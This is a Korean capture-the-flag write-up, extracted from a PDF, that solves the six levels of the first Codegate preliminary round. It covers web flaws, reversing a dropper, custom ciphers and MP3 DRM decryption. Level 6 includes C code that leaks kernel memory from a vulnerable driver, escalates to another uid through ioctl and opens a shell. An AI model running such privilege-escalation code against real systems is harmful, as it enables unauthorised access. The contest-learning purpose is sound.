::::::::::::::::::::::::::::::::::::::::::::::::::: 레벨별패스워드 ::::::::::::::::::::::::::::::::::::::::::::::::::: [-] Level1 Plain text : WowhackerFight

Size: px
Start display at page:

Download "::::::::::::::::::::::::::::::::::::::::::::::::::: 레벨별패스워드 ::::::::::::::::::::::::::::::::::::::::::::::::::: [-] Level1 Plain text : WowhackerFight"

Transcription

1 = 제 1 회 Codegate 해킹대회예선전풀이 =

2 ::::::::::::::::::::::::::::::::::::::::::::::::::: 레벨별패스워드 ::::::::::::::::::::::::::::::::::::::::::::::::::: [-] Level1 Plain text : WowhackerFighting!!!!!@KoreaFighting&hinehong Md5 : c79a0d c451b82dc99f7fdc094 [-] Level 2 Plain text : ar70fh4cking Md5 : 90be449c342716e606e80c7a5b2080b8 [-] Level 3 Plain text : PaSSionAnDPrepAraTion Md5 : 19985fa6ebb27e837c27181cd962376f [-] Level 4 Plain text : \x47\x14\x1d\x28\x55\x17\x42\x63\x5c\x1f\x5d\x19\x42\x47\x1e\x1e \x2b\x0e\x13\x52\x4a\x17\x1d\x1a\x56\x4b Md5 : a370f816e2ee8adc9dac978a06c0946e [-] Level 5 Plain text : can't take my eyes off you Md5 : 878a254ace04109eb d6dd8252 [-] Level 6 Plain text : hi everyone, this level is warming up! Md5 : 433b679ea506b4c826a16c362b5ac31a

3 Level 1 : Tomcat Server(Java) 레벨1 문제는 hint.jsp라는파일이름이힌트가나온후에풀수있었습니다. hint.jsp 소스에는 hinehong이라는이름의변수가 hidden으로있었습니다. 문제풀이시도중, 우연히 hint.jsp의 hinehong변수에 <script> 를넣으면다음과같은코드를주는것을발견하였습니다. wowhacker_wowcode_overhead_hinehong.vbs : Const gckey = "Wowhacker~!" Set xmlhttp = CreateObject("Microsoft.XMLHTTP") xmlhttp.open "GET", " "false" xmlhttp.send() Wowhacker_hinehong_wowhacker_good 이라는파일안에는다음의내용이있었습니다. MIGcBgkrBgEEAYI3WAOggY4wgYsGCisGAQQBgjdYAwGgfTB7AgMCAAECAmYCAgIA gaqiztxtltd/iyceeni9/i9uokvsqyvaiizuexceuho0zki14cvnrvf5wfkj7sl8 F8C3ksNOi/FxulOzCQlJKrn46BSN1VY3v1Q/0+hsyKycpFUFKwp+uC+Z4DubOLyq 1Evj8UymVOIAlrHwtHX3 gckey 가무엇인지검색엔진에서검색해본결과, Microsoft Capicom 이제공해주는암 / 복호화 예제코드에쓰이고있는것을발견할수있었습니다. 그리고해당예제코드를기반으로 다음과같은암호해제용코드를작성하였습니다. Const gckey = "Wowhacker~!" ' 복호화를위해쓰이는키값 EncryptedData = "MIGcBgkrBgEEAYI3WAOggY4wgYsGCisGAQQBgjdYAwGgfTB7AgMCAAECAmYCAgIA gaqiztxtltd/iyceeni9/i9uokvsqyvaiizuexceuho0zki14cvnrvf5wfkj7sl8 F8C3ksNOi/FxulOzCQlJKrn46BSN1VY3v1Q/0+hsyKycpFUFKwp+uC+Z4DubOLyq 1Evj8UymVOIAlrHwtHX3" ' 암호화되어있는값 Public Function Decrypt(EncMessage) Dim ed, key

4 key = gckey Set ed = CreateObject("CAPICOM.EncryptedData") ed.setsecret key ed.decrypt EncMessage Decrypt = ed.content Set ed = Nothing End Function ' 복호화함수 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") DecryptedData = Decrypt(EncryptedData) ' 복호화한다. msgbox DecryptedData ' 복호화한값출력 해당스크립트를실행결과, 다음과같은결과를얻을수있었습니다. 우리는이얻은문자열을가지고, login.php 로돌아가서, ID 란에는 wowhacker 를 Password 란에는위에서얻은문자열인 dhkdngozjxlathvmxmvhfjaghdehdcjfgood 을넣고 정답을얻을수있었습니다.

5 Level 2 : Web(PHP) + Cryptography(mixed) 문제에접속하여보면, zb4pl8 버전의제로보드가주어져있습니다. 해당버전의제로보드엔다음과같은문제점들이존재하는것으로알고있습니다. 1) 패치된후존재한 lib.php 의취약점 2) 초기화되지않은 s_que 변수문제로생기는 sql injection 취약점 3) & _member_info_included=1 으로비밀글을읽을수있는취약점 처음에는 1 번방법으로시도를하다가, 잘풀이가되지않아, 추가적으로 2,3 번방법을알아내었고, 두가지방법모두성공하였습니다. 해당비밀글을읽으면다음과같은내용이있었습니다. It\'s tough. Move following page and download a file. DO NOT USE ANY ANTI-VIRUS SOLUTIONS AND FIREWALLS. Your anti-vireus solutions could delete the file automatically. wowhacker/good!! 해당서버에접속하면, Activation.exe라는실행파일을제공하여줍니다. Activation.exe는내부적으로암호화 / 복호화루틴등은가지고있지않은것을보이며, 단지사용자로부터입력된값을, 로전송하고, 서버에서암호화되진문자열을리턴해주는프로그램이었습니다. 프로그램내부에암호화루틴이존재하지않았기때문에, 먼저어떤식으로암호화가이루어지는지알아보기로했습니다. 암호화가되는문자는소문자 a~z, 숫자 0-9까지였습니다. 위문자들은각각일대일대응이되는문자가존재합니다. a b c d e f g h i j k L FA DF AX VD GV AA DD VF XV DG FF XA m n o p q r s t u v w z AG AD XD XX FX VX FG VG VA XG DX DA y z GG XF FD GD GF FV DF AF GX AV VV GA 저문자들을조합하여 VDDAXDFFVVADAFFXAFAAVXVD 이라는암호화된문자열을 만들어야합니다. 문자하나당암호화될경우 2 개의문자로바뀌기때문에, 평문은 12 자라는 사실을알수있습니다. 하지만 12 글자를입력한뒤전송해보면입력한순서대로문자들은

6 암호화되지않았습니다. 그래서저는다음과같은테스트용표를만들어보았습니다 b 7a 12b 3a 8b 12a 4a 9b 2a 7b 11a 4b 8a 1a 6b 10a 5b 9a 1b 5a 10b 2b 6a 11b V D D A X D F F V V A D A F F X A F A A V X V D ab F G F G V D F V G X F V A F F G V V D D A D A A ab 1 F G F G V D F V G X F V A G F G V V A D A D A A ab 2 F G F G V D F V F X F V A G F G V V A D A V A A ab 3 V G F D V D F V F X F V A G F G V V A D A V A A ab 4 V G F D V D G V F X F D A G F G V V A D A V A A ab 5 V G F D V D G V F X F D A G F G F V A A A V A A ab 6 V G F D V D G V F X F D A G V G F V A A A V D A ab 7 V D F D V D G V F V F D A G V G F V A A A V D A ab 8 V D F D X D G V F V F D G G V G F V A A A V D A ab 9 V D F D X D G D F V F D G G V G F F A A A V D A ab 10 V D F D X D G D F V F D G G V F F F A A V V D A dc 11 V D F D X D G D F V V D G G V F F F A A V V D D 위의표를보면, 평문의한자리를바꿀경우암호화된문자열의어느위치가바뀌는지를파악할수있습니다. 정리하여보면, 암호화된문자열은다음과같이바뀐다는것을알수있습니다. 3B 7A 12B 3A 8B 12A 4A 9B 2A 7B 11A 4B 8A 1A 6B 10A 5B 9A 1B 5A 10B 2B 6A 11B 앞에숫자는문자의위치를의미하며, A는앞문자, B는뒷문자를의미합니다. 위에나온식을토대로 VDDAXDFFVVADAFFXAFAAVXVD 문자열이어떤평문으로이루어졌는지역으로따라가보면 ar70fh4cking 이라는문자열이답이라는걸확인할수있습니다.

7 Level 3 : Windows Reverse Engieenring(win32+pack) 주어지는실행파일인 notepad.exe 를실행시키면, 어떤동작을하는지알아보기위하여, Sysanalyzer 를이용하여동작을살펴보았습니다. 옵션에는 Api Logger 와 Directory Watcher 에체크해주었습니다. 실행결과를정리하여보면다음과같았습니다. 실행한프로세스 : PID ParentPID Path C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe Loaded Drivers: Driver File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Api log : 405f91 CreateFileA(C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe) WriteFile(h=32c) 405f91 CreateFileA(C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.exe) DirwatchData : Modifed: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe Created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Modifed: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Deteled: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys

8 로그결과, Temp 디렉토리에생성되는 SVC~ 파일들이중요할것으로추측하여, 해당디렉토리를들어가서, SVCH0ST.exe 파일을획득할수있었습니다. PEID 로해당파일을스캔한결과 UPX 로압축된것을확인할수있었습니다. Upx d 을이용하여압축을해제하였습니다. 해당파일을성공적으로언팩하였습니다. 입력된값을 Auth key 인지확인하기위해, 어떤코드를사용하는지보기위해,

9 GetDlgItemText() 함수에브레이크포인트를걸고런을시킨후, 값을입력하고 Auth 를누르자. 0x 에서 GetDlgItemText() 를호출하는것을잡아내었습니다. 해당코드아랫부분에서호출하는다음과같은코드를보면, EB. CALL SVCH0ST F0. ADD ESP, F3. TEST EAX,EAX F5. JNZ SHORT SVCH0ST F7. LEA EAX,DWORD PTR SS:[ESP+8] FB. PUSH ESI FC. PUSH EAX FD. LEA ECX,DWORD PTR SS:[ESP+B0] PUSH SVCH0ST A PUSH ECX A. CALL DWORD PTR DS:[<&USER32.wsprintfA>] ; \wsprintfa ADD ESP, PUSH PUSH SVCH0ST ; ASCII "Success!!" A. PUSH SVCH0ST ; ASCII "Success!!" F. JMP SHORT SVCH0ST > LEA EDX,DWORD PTR SS:[ESP+8] LEA EAX,DWORD PTR SS:[ESP+A8] C. PUSH EDX D. PUSH SVCH0ST PUSH EAX CALL DWORD PTR DS:[<&USER32.wsprintfA>] ADD ESP,0C C. PUSH E. PUSH SVCH0ST ; ASCII "Trial Version!!" PUSH SVCH0ST ; ASCII "Trial Version!!" > MOV ESI,DWORD PTR SS:[ESP+1B8] F. PUSH ESI CALL DWORD PTR DS:[<&USER32.MessageBoxA>> LEA ECX,DWORD PTR SS:[ESP+A8] 0x4011eb 에서의결과에따라성공과실패가판가름남으로, 해당콜에서키값을검증할 것임을알수있습니다. 해당콜에서는다음과같은사용자가입력한값을암호화하는 코드가있었습니다.

10 C > MOV AL,BYTE PTR DS:[EDX] E. CMP AL, JL SHORT SVCH0ST A CMP AL,7A JG SHORT SVCH0ST A DEC AL JMP SHORT SVCH0ST A > CMP AL, C. JL SHORT SVCH0ST E. CMP AL,5A JG SHORT SVCH0ST INC AL > MOV BYTE PTR DS:[EBX+EDX],AL > INC EBP MOV EDI,ESI A. OR ECX,FFFFFFFF D. XOR EAX,EAX F. INC EDX REPNE SCAS BYTE PTR ES:[EDI] NOT ECX DEC ECX CMP EBP,ECX JB SHORT SVCH0ST C 내용을분석하여보면, a 와 z 사이라면값을 1줄임, A 와 Z 사이라면값을 1늘임, 특수문자는변화없음. 입니다. 즉이것을반대로하여, a와 z 사이의값은 1늘임, A와 Z사이면 1줄임을하여주면, 평문을얻을수있을것임을알수있습니다. 다음과같은간단한코드를작성하여보았습니다. #include "stdafx.h" #include <stdlib.h> #include <string.h> #include <ctype.h> int main(int argc, char* argv[]) char EncodedText[] = "Q`TThnmBmEQqdoBq`Uhnm"; for(int i = 0; i < strlen(encodedtext); i++)

11 if(isalpha(encodedtext[i])) if(islower(encodedtext[i])) printf("%c",encodedtext[i] + 1); else if(isupper(encodedtext[i])) printf("%c",encodedtext[i] - 1); else if(encodedtext[i] == ('a' - 1)) printf("%c",encodedtext[i] + 1); else if(encodedtext[i] == ('Z' + 1)) printf("%c",encodedtext[i] - 1); else printf("%c",encodedtext[i]); printf("\n"); return 0; 암호화된문장에서알파벳이아닐때에도, 평문이소문자 a 의경우와 Z 였을경우가있음으로, 예외처리를해주어야합니다. 실행결과는다음과같았습니다.

12

13 Level 4 : Linux + Cryptography(RE+crypt) 4번문제는 fedora core8에서컴파일된바이너리를이용한복호화문제입니다. 저희팀은처음에는, 해당문제를 fckorea-wowhacker-codegate 라는원본문자열의길이만큼스트링을넣어주고, 디버거를이용하여살펴보며수작업으로변형시키며패스워드를찾았습니다. 다른문제를풀고있을떄쯤, 힌트를참조하여다시한번다음과같이풀어보았습니다. 재가참조한힌트의내용은다음과같습니다. char *keys[10] = "98a4c18682f8dc33678ae321b9f95b4d", "5d6a2274d93ad079bd3a3840cf0e70d0", "44565ca878f878ab967c9f9d3a074163", "401b9b0624cd1b32eab18acab0ce3da3", "0baff11bed a07ce319925bb78", "73f2b9ad f5fc6b1fd505b2e3", "a46c3580f9f27b4a8d91f4ad35ef630b", " fc111c0895ec2158a9ca17e", " fb6ea3dbd0062f688d3e611d", "94d9d3a75d244de239b8f9199f0e4db1" ; 앞서공개한간단한연산은 + 또는 - 연산입니다. char 범위를넘지않기위해 % 128 연산도이루어집니다. 입력문자열의길이에따라시작키가달라지며, 암호문의한글자당다른키의문자와연산이이루어집니다. 위에주어진힌트만으로도해당문제는아주쉽게풀수있는문제입니다. 먼저입력된문자열의길이에따라시작키가달라진다고하였는데, 이부분은어짜피사용할문자열이 fckorea-wowhacker-codegate 로정해져있음으로, 문제가되지않습니다. 다음과같은코드를작성하여해당문제를풀수있었습니다. #include <stdio.h> #include <stdlib.h> #include <string.h> char *keys[10] = "98a4c18682f8dc33678ae321b9f95b4d", "5d6a2274d93ad079bd3a3840cf0e70d0", "44565ca878f878ab967c9f9d3a074163", "401b9b0624cd1b32eab18acab0ce3da3", "0baff11bed a07ce319925bb78", "73f2b9ad f5fc6b1fd505b2e3", "a46c3580f9f27b4a8d91f4ad35ef630b", " fc111c0895ec2158a9ca17e", " fb6ea3dbd0062f688d3e611d", "94d9d3a75d244de239b8f9199f0e4db1" ;

14 char EncryptedText[] = "fckorea-wowhacker-codegate"; char buffer[400] = "./prog `perl -e \'printf \""; int main(int argc, char* argv[]) int i; int cnt; unsigned char ch; char buf[10]; cnt = 6; printf("generating password start...\n"); printf("exploiting...\n"); for(i = 0; i < strlen(encryptedtext); i++) ch = (keys[cnt++][i] + EncryptedText[i]) % 128; sprintf(buf,"\\x%0x",ch); strcat(buffer,buf); if(cnt == 10) cnt = 0; strcat(buffer,"\"\'`"); printf("generated code : %s\n",buffer); system(buffer); return 0; 실행결과는다음과같습니다.

15 다음문제는다음페이지에

16 Level 5 : DRM(mp3 drm) 당신은 A 음악포털에가입하여한 MP3 파일을 100,000원을주고다운로드하였다. 해당파일은 EXE 파일로되어있었으며, 실행을시키면바탕화면에 MP3 파일을생성하는역할을하였다. 당신은 'MP3 파일만복사하는게아니니까, EXE 파일로배포하겠지...' 라고생각했지만큰관심을두지는않았다. 그후당신은바탕화면에생성된 MP3 파일을당신의 MP3 Player에복사하였지만해당파일은 MP3 포멧의 DRM 파일이었다. 해당노래는찌지직거리는잡음만재생될뿐이였다. 당신은화가났다. 100,000원이나주고결제했는데노래를들을수없다니... 컴퓨터음악을전공한당신은 MP3 파일의첫번째 Frame과두번째 Frame이이상하다는것을알수있었다. Password : 노래의제목 먼저 music.exe 라는파일이주어집니다. 해당실행파일이무엇을하는지분석하기위해, sysanalyzer 를이용하여분석하여보았습니다. 옵션은 User Api Logger 와 User Directory Watcher 를사용하였습니다. Api logger : _lcreat(c:\documents and Settings\Administrator\ 바탕화면 \What.mp3,0) 7c8365cf CreateFileA(C:\Documents and Settings\Administrator\ 바탕화면 \What.mp3) _lwrite(h=6f8) 7c838b06 WriteFile(h=6f8) _lcreat(c:\windows\system32\private.key,0) 7c8365cf CreateFileA(C:\WINDOWS\system32\private.key) DirwatchData Modifed: C:\WINDOWS\system32\private.key

17 C:\WINDOWS\system32\private.key 의경로로가서, 다음과같은 RSA 키를획득하였습니다. RSA 로암호화된것처럼보이는 (128 길이의 ) 데이터는두번쨰프레임에존재했습니다. Openssl 의 rsautil 기능을이용하여해당부분을다음과같이복호화시켰습니다.

18 힌트에 1,2 프레임은 drm 으로사용되는것이라고했음으로, 제거해주고그후에다음과같은 프레임단위당 blowfish 해주는코드를작성하여복호화를시도하였습니다. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <openssl/blowfish.h> unsigned char ivec[8]; char file1[80]="./in.mp3"; // 암호화할파일명. char file2[80]="./out.mp3"; // 복호화할파일명. char decryptkey[64] = 0,; // 복호화키 long file_size(char* file) FILE* fin; int size; fin = fopen(file,"r"); fseek( fin, 0, SEEK_END );

19 size = ftell( fin ); fclose(fin); return size; int bfdecrypt622(const unsigned char *in, unsigned char *out) BF_KEY key; int num; num = 0; memset(ivec, '\0', 8); BF_set_key(&key,64,decryptkey); BF_cfb64_encrypt(in, out, 622, &key, ivec, &num, BF_DECRYPT); return 0; int bfdecrypt623(const unsigned char *in, unsigned char *out) BF_KEY key; int num; num = 0; memset(ivec, '\0', 8); BF_set_key(&key,64,decryptkey); BF_cfb64_encrypt(in, out, 623, &key, ivec, &num, BF_DECRYPT); return 0; int main(int argc, char *argv[]) FILE *ffile,*ffile2; long i; long cnt; unsigned char *inbuf,*outbuf;

20 char *p,*p2; if ((ffile = fopen(file1,"r+b")) == -1) printf("can't open %s\n", file1); return -1; if ((ffile2 = fopen(file2, "wb")) == -1) printf("can't open %s\n", file2); return -1; strcat(decryptkey,"the best security group. WoWHacker"); printf("the Size of File : %d\n",file_size(file1)); inbuf = (unsigned char *)malloc(file_size(file1)); outbuf = (unsigned char *)malloc(file_size(file1)); memset(inbuf,0x0,file_size(file1)); fread(inbuf,1,file_size(file1),ffile); memset(outbuf,0x0,file_size(file1)); cnt = 0; printf("counting frames...\n"); for(i = 0; i < file_size(file1)-1; i++) if(inbuf[i] == 0xFF && inbuf[i+1] == 0xFB && inbuf[i+3] == 0x04) cnt++; if(inbuf[i+2] == 0xb2) //623 p = &inbuf[i+4]; p2 = &outbuf[i+4]; bfdecrypt623(p,p2); memcpy(&outbuf[i],&inbuf[i],4); i += 623;

21 else if(inbuf[i+2] == 0xb0) //622 p = &inbuf[i+4]; p2 = &outbuf[i+4]; bfdecrypt622(p,p2); memcpy(&outbuf[i],&inbuf[i],4); i += 622; else printf("uknown Size\n"); printf("count of frame : %d\n",cnt); //fwrite(ffile2,outbuf,file_size(file1)); fwrite(outbuf,1,file_size(file1),ffile2); fclose(ffile); fclose(ffile2); free(inbuf); free(outbuf); return 0; 다음과같이실행시키어주었습니다.

22 해당파일을사운드포지로재생시키어보았습니다. I love you baby~ J

23 Level 6 : Linux System(kernel) 먼저 217 서버와 218 서버는구동되고있는디바이스드라이버의 minor 버전이다른걸알 수있습니다. 217 서버는 0 번을, 218 서버는 2 번의 minor 버전을가지고있었습니다. Minor 버전에따라서디바이스드라이버의디스패치루틴은다음과같이변경됩니다. struct file_operations hk0_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_a,.write = write_a,.read = read_a,.llseek = llseek_a,.release = release_a,.mmap = mmap_a, ; struct file_operations hk1_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_b,.write = write_b,.read = read_b,.llseek = llseek_b,.release = release_b, ; struct file_operations hk2_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_c,.write = write_c,.read = read_c,.llseek = llseek_c,.release = release_b, ;

24 소스코드를분석하여보면, 디바이스드라이버의중요한부분인, ioctl 디스패치 루틴의코드에는 TEST 와 AUTH_HK 두가지기능이존재합니다. char *hkp = hk_password; hkst plz; if( (_IOC_TYPE(cmd)!= HK_MAGIC) && (_IOC_NR(cmd) > LAST_NR) ) return -EINVAL; rtn = sz = 0; if( (sz = _IOC_SIZE(cmd)) ) if( _IOC_DIR(cmd) & _IOC_READ ) rtn = access_ok( VERIFY_WRITE, (void *)arg, sz ); else if( _IOC_DIR(cmd) & _IOC_WRITE ) rtn = access_ok( VERIFY_READ, (void *)arg, sz ); if(!rtn) return rtn; switch( cmd ) case AUTH_HK: sz = _IOC_SIZE(cmd); rtn = access_ok( VERIFY_READ, (void *)arg, sz ); if(!rtn) return rtn; if( (rtn = copy_from_user( (void *)&plz, (const void *)arg, sz )) < 0 ) return rtn; if(!hk_compare( plz.key, hkp +8 ) ) current->uid = current->euid = HK_ID; current->gid = current->egid = HK_ID; break; 중요하여보이는 AUTH_HK 는 hk_passowrd 변수 + 8 위치부터의문자열값과사용자입력값을 비교하는기능을하고있음을알수있습니다. 비교결과가같다면, uid 와 gid 를바꿔주고있는

25 것을볼수있습니다. 즉 hk_password 값이무엇인지찾아야함을알수있습니다. 소스코드를분석하여보면, 218 서버에서작동되는 read 인 read_c 디스패치루틴의 드라이버코드에다음과같은문제가있음을볼수있습니다. if( (errn = copy_to_user( (void *)buf, (const void *)p, (unsigned long)count )) < 0 ) return errn; *f_pos = *f_pos +count; 존재하는문제점은, count 크기의제약이없으며, f_pos 는 read() 를해줄때마다계속증가한다는 점입니다. 이부분을이용하여서 hk_password 의값을읽을수있으리라짐작하고다음과 같은코드를작성하였습니다. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include "dumpcode.h" char buffer[ ] = 0,; void FIND_HK_KEY() int i; for(i = 0; i < ; i++) if(!memcmp(&buffer[i],"hk_key:",7)) dumpcode(&buffer[i], 60); int main(int argc,char argv[]) int ffile; int i;

26 printf("trying to open device...\n"); ffile = open("/dev/hkdev", O_RDWR O_NONBLOCK O_NDELAY); if(ffile == -1) printf("open Error!!\n"); return -1; printf("pointer Moving...\n"); for(i = 0; i < 0x1000; i++) read(ffile, buffer, ); printf("[-] Now HK_KEY Find Start\n"); while(1) read(ffile, buffer, ); FIND_HK_KEY(); return 0xdeadbeef; 실행결과다음과같이 HK_KEY 값을읽어올수있었습니다. 이값을 hkst 구조체에담아, ioctl 로 AUTH_HK 라는 ioctl_code 와함께보내어주면될것입니다. #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #define HK_MAGIC #define AUTH_HK 'k' _IOR( HK_MAGIC, 0, hkst ) //0x80806b00

27 typedef struct char key[128]; attribute ((packed)) hkst; int main(int argc,char argv[]) int ffile,result; hkst plz; //ffile = open("/dev/hker",); ffile = open("/dev/hkdev",o_rdwr); if( ffile == -1) printf("can`t open!!\n"); return -1; strcpy(plz.key, "linux kernel memory leak vulnerability is very frequent and famous."); ioctl( ffile, AUTH_HK, plz.key, HK_MAGIC); system("/bin/sh"); close(ffile); return 0xdeadbeef; 이렇게하면, Uid=501(hk) gid=501(hk) groups=500(sixsense) 으로 hk아이디의 uid와 gid를얻은것을볼수있습니다. 그후, Sh-3.1$ cd /home Sh-3.1$ ls al Total 64 drwxr-xr-x 8 root root drwxr-xr-x 23 root root drwx hk hk 4096 hk. Sh-3.1$ cd hk

28 Sh-3.1$ ls al Total 64 drwx hk hk drwx root root rwx hk hk 39 PASSWORD.. Sh-3.1$ cat PASSWORD Hi everyone, this level is warming up! 끝까지읽어주셔서감사합니다. ( ).

Codegate Preliminary Match Repot

Codegate Preliminary Match Repot Codegate Preliminary Match Repot - 2008 Historymaker 소개글 Code gate - 2008 뭐알아서참고.. ㅡㅡ ;;; 목차 1 4 2012.06.15 20:19 ================================================================== / Codegate Preliminary

More information

교육지원 IT시스템 선진화

교육지원 IT시스템 선진화 Module 16: ioctl 을활용한 LED 제어디바이스드라이버 ESP30076 임베디드시스템프로그래밍 (Embedded System Programming) 조윤석 전산전자공학부 주차별목표 ioctl() 을활용법배우기 커널타이머와 ioctl 을활용하여 LED 제어용디바이스드라이브작성하기 2 IOCTL 을이용한드라이버제어 ioctl() 함수활용 어떤경우에는읽는용도로만쓰고,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

레벨 1 풀이 문제를풀기위해처음 level1 서버에접근하면 login.php 를이용하여로그인을하라는 내용이나옵니다. ID 는 wowhacker 라는친젃한힌트도알려주고있습니다. 우리의목표는 Password 입니다. ID 값이무엇인지알고있기때문에 Password 만알아내면

레벨 1 풀이 문제를풀기위해처음 level1 서버에접근하면 login.php 를이용하여로그인을하라는 내용이나옵니다. ID 는 wowhacker 라는친젃한힌트도알려주고있습니다. 우리의목표는 Password 입니다. ID 값이무엇인지알고있기때문에 Password 만알아내면 TEAM [ROOT - Our girlfriends are pissed] 2008 코드게이트해킹대회예선풀이보고서 개요 : 2008 년코드게이트해킹대회예선풀이보고서입니다. 당시사정이여의치않아문서가조 금부족합니다. 양해바라며필요한부분에대해서좋은정보얻어가셨으면좋겠습니다. 레벨 1 풀이 문제를풀기위해처음 level1 서버에접근하면 login.php 를이용하여로그인을하라는

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

PowerPoint 프레젠테이션

